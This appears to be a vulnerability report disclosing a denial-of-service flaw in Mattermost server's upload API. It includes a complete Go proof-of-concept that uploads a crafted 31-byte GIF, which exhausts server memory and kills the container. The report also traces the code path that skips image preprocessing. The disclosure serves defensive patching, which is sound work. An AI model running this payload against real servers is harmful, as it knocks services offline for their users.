DOS: out of memory from gif through upload api

## Summary: When sending a specially crafted gif with max dimensions through the upload API, we get Mattermost server to consume more than 4Gbytes of RAM ## Steps To Reproduce: [add details for how we can reproduce the issue] 1. Run `docker run --name mattermost-preview -d --publish 8065:8065 mattermost/mattermost-preview -m=4G` as documented https://docs.mattermost.com/guides/deployment.html with 4G limit from https://docs.mattermost.com/install/software-hardware-requirements.html#hardware-requirements-for-team-deployments 1. Get one channel id 1. Run this simple POC below with a valid channel id 1. Docker container gets killed ``` package main import ( "bytes" "fmt" "github.com/mattermost/mattermost-server/v5/model" ) func main() { Client := model.NewAPIv4Client("http://localhost:8065/") Client.Login("toto", "tototo") us := &model.UploadSession{ ChannelId: "5dtj9hf89ifap8imigbzjc7wjo", Filename: "oom.gif", FileSize: 31, } us, response := Client.CreateUpload(us) fmt.Printf("lol %s %#+v\n", us, response) data := []byte{0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x2e, 0xf8, 0xff, 0xff, 0xf, 0x18, 0x18, 0x2c, 0x7f, 0x20, 0x0, 0x0, 0x0, 0xa0, 0xff, 0xff, 0xff, 0xd4, 0x9a, 0xf0, 0xb4, 0x8, 0x35, 0x4, 0x0} info, err2 := Client.UploadData(us.Id, bytes.NewReader(data)) fmt.Printf("lol %s %#+v\n", err2, info) } ``` This happens with `gif.DecodeAll` being called by `GetInfoForBytes` getting called by `App.UploadData` being called by `doUploadData` being called by `uploadData` without any call to `preprocessImage` as is done in the `api/v4/files` route Docker container gets killed ## Impact Crash a server